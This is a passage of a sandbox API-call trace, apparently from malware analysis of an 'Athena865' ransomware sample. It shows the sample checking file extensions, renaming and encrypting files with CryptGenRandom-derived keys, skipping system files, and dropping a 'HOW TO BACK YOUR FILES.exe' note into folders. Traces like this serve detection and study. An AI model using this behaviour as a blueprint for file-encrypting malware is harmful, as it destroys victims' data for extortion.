[0054.297] lstrlenW (lpString="ddl") returned 3 [0054.297] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.297] lstrlenW (lpString="dlis") returned 4 [0054.297] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.298] lstrlenW (lpString="dp1") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.298] lstrlenW (lpString="dqy") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.298] lstrlenW (lpString="dsk") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.298] lstrlenW (lpString="dsn") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.298] lstrlenW (lpString="dtsx") returned 4 [0054.298] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.298] lstrlenW (lpString="dxl") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.298] lstrlenW (lpString="eco") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.298] lstrlenW (lpString="ecx") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.298] lstrlenW (lpString="edb") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.298] lstrlenW (lpString="epim") returned 4 [0054.298] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.298] lstrlenW (lpString="fcd") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.298] lstrlenW (lpString="fdb") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.298] lstrlenW (lpString="fic") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.298] lstrlenW (lpString="flexolibrary") returned 12 [0054.298] lstrlenW (lpString="fm5") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.298] lstrlenW (lpString="fmp") returned 3 [0054.298] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.298] lstrlenW (lpString="fmp12") returned 5 [0054.298] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.298] lstrlenW (lpString="fmpsl") returned 5 [0054.299] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.299] lstrlenW (lpString="fol") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.299] lstrlenW (lpString="fp3") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.299] lstrlenW (lpString="fp4") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.299] lstrlenW (lpString="fp5") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.299] lstrlenW (lpString="fp7") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.299] lstrlenW (lpString="fpt") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.299] lstrlenW (lpString="frm") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.299] lstrlenW (lpString="gdb") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.299] lstrlenW (lpString="gdb") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.299] lstrlenW (lpString="grdb") returned 4 [0054.299] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.299] lstrlenW (lpString="gwi") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.299] lstrlenW (lpString="hdb") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.299] lstrlenW (lpString="his") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.299] lstrlenW (lpString="ib") returned 2 [0054.299] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.299] lstrlenW (lpString="idb") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.299] lstrlenW (lpString="ihx") returned 3 [0054.299] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.300] lstrlenW (lpString="itdb") returned 4 [0054.300] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.300] lstrlenW (lpString="itw") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.300] lstrlenW (lpString="jet") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.300] lstrlenW (lpString="jtx") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.300] lstrlenW (lpString="kdb") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.300] lstrlenW (lpString="kexi") returned 4 [0054.300] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.300] lstrlenW (lpString="kexic") returned 5 [0054.300] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.300] lstrlenW (lpString="kexis") returned 5 [0054.300] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.300] lstrlenW (lpString="lgc") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.300] lstrlenW (lpString="lwx") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.300] lstrlenW (lpString="maf") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.300] lstrlenW (lpString="maq") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.300] lstrlenW (lpString="mar") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.300] lstrlenW (lpString="marshal") returned 7 [0054.300] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.300] lstrlenW (lpString="mas") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.300] lstrlenW (lpString="mav") returned 3 [0054.300] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.300] lstrlenW (lpString="maw") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.301] lstrlenW (lpString="mdbhtml") returned 7 [0054.301] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.301] lstrlenW (lpString="mdn") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.301] lstrlenW (lpString="mdt") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.301] lstrlenW (lpString="mfd") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.301] lstrlenW (lpString="mpd") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.301] lstrlenW (lpString="mrg") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.301] lstrlenW (lpString="mud") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.301] lstrlenW (lpString="mwb") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.301] lstrlenW (lpString="myd") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.301] lstrlenW (lpString="ndf") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.301] lstrlenW (lpString="nnt") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.301] lstrlenW (lpString="nrmlib") returned 6 [0054.301] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.301] lstrlenW (lpString="ns2") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.301] lstrlenW (lpString="ns3") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.301] lstrlenW (lpString="ns4") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.301] lstrlenW (lpString="nsf") returned 3 [0054.301] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.302] lstrlenW (lpString="nv") returned 2 [0054.302] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.302] lstrlenW (lpString="nv2") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.302] lstrlenW (lpString="nwdb") returned 4 [0054.302] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.302] lstrlenW (lpString="nyf") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.302] lstrlenW (lpString="odb") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.302] lstrlenW (lpString="odb") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.302] lstrlenW (lpString="oqy") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.302] lstrlenW (lpString="ora") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.302] lstrlenW (lpString="orx") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.302] lstrlenW (lpString="owc") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.302] lstrlenW (lpString="p96") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.302] lstrlenW (lpString="p97") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.302] lstrlenW (lpString="pan") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.302] lstrlenW (lpString="pdb") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.302] lstrlenW (lpString="pdm") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.302] lstrlenW (lpString="pnz") returned 3 [0054.302] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.302] lstrlenW (lpString="qry") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.303] lstrlenW (lpString="qvd") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.303] lstrlenW (lpString="rbf") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.303] lstrlenW (lpString="rctd") returned 4 [0054.303] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.303] lstrlenW (lpString="rod") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.303] lstrlenW (lpString="rodx") returned 4 [0054.303] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.303] lstrlenW (lpString="rpd") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.303] lstrlenW (lpString="rsd") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.303] lstrlenW (lpString="sas7bdat") returned 8 [0054.303] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.303] lstrlenW (lpString="sbf") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.303] lstrlenW (lpString="scx") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.303] lstrlenW (lpString="sdb") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.303] lstrlenW (lpString="sdc") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.303] lstrlenW (lpString="sdf") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.303] lstrlenW (lpString="sis") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.303] lstrlenW (lpString="spq") returned 3 [0054.303] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.303] lstrlenW (lpString="te") returned 2 [0054.303] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.303] lstrlenW (lpString="teacher") returned 7 [0054.304] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.304] lstrlenW (lpString="tmd") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.304] lstrlenW (lpString="tps") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.304] lstrlenW (lpString="trc") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.304] lstrlenW (lpString="trc") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.304] lstrlenW (lpString="trm") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.304] lstrlenW (lpString="udb") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.304] lstrlenW (lpString="udl") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.304] lstrlenW (lpString="usr") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.304] lstrlenW (lpString="v12") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.304] lstrlenW (lpString="vis") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.304] lstrlenW (lpString="vpd") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.304] lstrlenW (lpString="vvv") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.304] lstrlenW (lpString="wdb") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.304] lstrlenW (lpString="wmdb") returned 4 [0054.304] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.304] lstrlenW (lpString="wrk") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.304] lstrlenW (lpString="xdb") returned 3 [0054.304] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.304] lstrlenW (lpString="xld") returned 3 [0054.305] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.305] lstrlenW (lpString="xmlff") returned 5 [0054.305] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.305] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Recorded TV\\desktop.ini.Athena865") returned 66 [0054.305] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\documents and settings\\public\\recorded tv\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\recorded tv\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.306] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\recorded tv\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.306] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80) returned 1 [0054.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.307] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.307] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.307] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.308] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154 [0054.309] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0054.310] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.311] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.311] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.312] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.312] CloseHandle (hObject=0x154) returned 1 [0054.312] CloseHandle (hObject=0x17c) returned 1 [0054.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.312] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.312] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.312] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2=".") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="..") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="windows") returned -1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="bootmgr") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="temp") returned -1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="pagefile.sys") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="boot") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="ids.txt") returned 1 [0054.312] lstrcmpiW (lpString1="Sample Media", lpString2="ntuser.dat") returned 1 [0054.313] lstrcmpiW (lpString1="Sample Media", lpString2="perflogs") returned 1 [0054.313] lstrcmpiW (lpString1="Sample Media", lpString2="MSBuild") returned 1 [0054.313] lstrlenW (lpString="Sample Media") returned 12 [0054.313] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Sample Media" | out: lpString1="Sample Media") returned="Sample Media" [0054.313] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media", dwFileAttributes=0x10) returned 1 [0054.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cf78 [0054.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x5028a8 [0054.313] lstrcatW (in: lpString1="Sample Media", lpString2="\\" | out: lpString1="Sample Media\\") returned="Sample Media\\" [0054.313] lstrcatW (in: lpString1="Sample Media\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Media\\HOW TO BACK YOUR FILES.exe") returned="Sample Media\\HOW TO BACK YOUR FILES.exe" [0054.313] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Recorded TV\\Sample Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\recorded tv\\sample media\\how to back your files.exe"), bFailIfExists=1) returned 1 [0054.316] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0054.316] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.316] ReleaseMutex (hMutex=0xec) returned 1 [0054.316] CloseHandle (hObject=0xec) returned 1 [0054.316] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Videos" | out: lpString1="C:\\Documents and Settings\\Public\\Videos") returned="C:\\Documents and Settings\\Public\\Videos" [0054.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5160b0 | out: hHeap=0x4f0000) returned 1 [0054.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf90 | out: hHeap=0x4f0000) returned 1 [0054.316] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Videos") returned 39 [0054.316] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\35436E68D63D52EFA9E09F9CBC1057B8") returned 0xec [0054.317] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.317] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Videos" | out: lpString1="C:\\Documents and Settings\\Public\\Videos") returned="C:\\Documents and Settings\\Public\\Videos" [0054.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.317] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.317] GetLastError () returned 0x0 [0054.317] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.317] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.318] CloseHandle (hObject=0xf4) returned 1 [0054.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.318] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.318] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.318] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.318] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.318] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.318] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2fa6a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.319] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.319] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.319] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.319] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.319] 